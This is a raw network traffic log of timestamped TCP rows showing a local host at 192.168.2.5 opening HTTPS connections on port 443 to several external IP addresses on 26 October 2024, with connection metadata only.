Oct 26, 2024 13:44:46.612499952 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:46.612750053 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:46.612765074 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:46.710943937 CEST	49673	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:47.480356932 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:47.480904102 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:47.480918884 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:47.481988907 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:47.482073069 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:47.483237028 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:47.483329058 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:47.525979042 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:47.525996923 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:47.572040081 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:47.764034033 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:47.764084101 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:47.764199972 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:47.766271114 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:47.766282082 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.452636003 CEST	443	49703	23.1.237.91	192.168.2.5
Oct 26, 2024 13:44:48.452750921 CEST	49703	443	192.168.2.5	23.1.237.91
Oct 26, 2024 13:44:48.590028048 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:48.590075016 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:48.590133905 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:48.591176987 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:48.591187000 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:48.592715979 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:48.592782974 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:48.592842102 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:48.593471050 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:48.593489885 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:48.615144968 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.615211010 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.619839907 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.619848967 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.620121956 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.664024115 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.720391035 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.763334990 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.966176033 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.966243982 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.966295958 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.967268944 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.967305899 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:48.967329979 CEST	49712	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:48.967336893 CEST	443	49712	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:49.089410067 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:49.089474916 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:49.089553118 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:49.090940952 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:49.090960979 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:49.286449909 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.286910057 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.286936998 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.287977934 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.288724899 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.290654898 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.291501045 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.291528940 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.292715073 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.293134928 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.293848991 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.293848991 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.293849945 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.293860912 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.293946981 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.293948889 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.335133076 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.335165024 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.335210085 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.335226059 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.380976915 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.381051064 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.464973927 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.465086937 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.465186119 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.468437910 CEST	49714	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.468451977 CEST	443	49714	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.671499014 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.719321966 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.845956087 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.846843958 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:49.851221085 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:49.927164078 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:49.931329012 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:49.932986975 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:49.937002897 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:50.050179005 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:50.050203085 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:50.050724983 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:50.052258968 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:50.073681116 CEST	49713	443	192.168.2.5	70.38.21.234
Oct 26, 2024 13:44:50.073710918 CEST	443	49713	70.38.21.234	192.168.2.5
Oct 26, 2024 13:44:50.099323988 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:50.294725895 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:50.294795990 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:50.294862032 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:50.300842047 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:50.300879002 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:50.300898075 CEST	49715	443	192.168.2.5	184.28.90.27
Oct 26, 2024 13:44:50.300904036 CEST	443	49715	184.28.90.27	192.168.2.5
Oct 26, 2024 13:44:56.653954983 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:56.654067993 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:56.654170990 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:56.654587984 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:56.654623032 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.187329054 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:44:57.187375069 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:44:57.187454939 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:44:57.189152002 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:44:57.189171076 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:44:57.395483971 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.395554066 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.399310112 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.399324894 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.399621010 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.409977913 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.455326080 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.479871988 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:57.479968071 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:57.480016947 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:57.653999090 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.654062986 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.654108047 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.654164076 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.654253960 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.654298067 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.654320002 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.771713972 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.771779060 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.771950960 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.771951914 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.772022963 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.772094011 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.889107943 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.889168978 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.889379025 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.889379025 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:57.889445066 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:57.889511108 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.007678032 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.007719994 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.007953882 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.007983923 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.008032084 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.124193907 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.124277115 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.124294996 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.124367952 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.124406099 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.124430895 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.241183996 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.241209030 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.241297960 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.241326094 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.241383076 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.296690941 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:44:58.296789885 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:44:58.299233913 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:44:58.299243927 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:44:58.299700022 CEST	443	49718	4.175.87.197	192.168.2.5
Oct 26, 2024 13:44:58.350217104 CEST	49718	443	192.168.2.5	4.175.87.197
Oct 26, 2024 13:44:58.358155012 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.358179092 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.358273029 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.358319044 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.358378887 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.452742100 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.452769041 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.452851057 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.452907085 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.453145981 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.569564104 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.569587946 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.569663048 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.569689989 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.569736958 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.680212021 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.680286884 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.680360079 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.680433989 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.680480957 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.680506945 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.711611032 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.711661100 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.711715937 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.711766005 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.711796999 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.711822033 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.827785015 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.827852964 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.827918053 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.827989101 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.828036070 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.828080893 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.922027111 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.922065973 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.922112942 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.922139883 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.922163010 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.922189951 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.945456982 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.945548058 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.945564985 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.945699930 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.945903063 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.945931911 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:58.945950031 CEST	49717	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:58.945956945 CEST	443	49717	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.001678944 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.001734972 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.001955986 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.003765106 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.003818035 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.003915071 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.004198074 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.004214048 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.005439997 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.005472898 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.005733013 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.005851984 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.005866051 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.006529093 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.006560087 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.008192062 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.008218050 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.008455038 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.008455038 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.008479118 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.009654999 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.009687901 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.009753942 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.010046959 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.010062933 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.086049080 CEST	49711	443	192.168.2.5	142.250.185.228
Oct 26, 2024 13:44:59.086085081 CEST	443	49711	142.250.185.228	192.168.2.5
Oct 26, 2024 13:44:59.729172945 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.729877949 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.729899883 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.730396986 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.730405092 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.732081890 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.732525110 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.732551098 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.733017921 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.733023882 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.759946108 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.760457993 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.760478020 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.760924101 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.760930061 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.761306047 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.761653900 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.761684895 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.762103081 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.762109041 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.765765905 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.766527891 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.766527891 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.766542912 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.766560078 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.857253075 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.857331991 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.857479095 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.857495070 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.857642889 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.857863903 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.857886076 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.857902050 CEST	49723	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.857908010 CEST	443	49723	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.860230923 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.860331059 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.860577106 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.860733032 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.860749960 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.860761881 CEST	49725	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.860775948 CEST	443	49725	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.861809969 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.861846924 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.861974955 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.862200022 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.862205982 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.863603115 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.863629103 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.863687038 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.863862038 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.863874912 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.893426895 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.893484116 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.893589020 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.893604040 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.893661022 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.893723011 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.893975019 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.893990040 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.894001961 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.894007921 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.896326065 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.896404028 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.896485090 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.897072077 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.897089005 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.897098064 CEST	49722	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.897103071 CEST	443	49722	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.901312113 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.901339054 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.901437044 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.901705980 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.901767969 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.901837111 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.901854992 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.901910067 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.901957035 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.901957035 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.902641058 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.902651072 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.902825117 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.902825117 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.902842999 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.902851105 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.903940916 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.903961897 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.904020071 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.904181004 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.904192924 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.905618906 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.905632019 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:44:59.905834913 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.905834913 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:44:59.905853987 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.594419003 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:00.595079899 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:00.595099926 CEST	443	49727	13.107.246.45	192.168.2.5
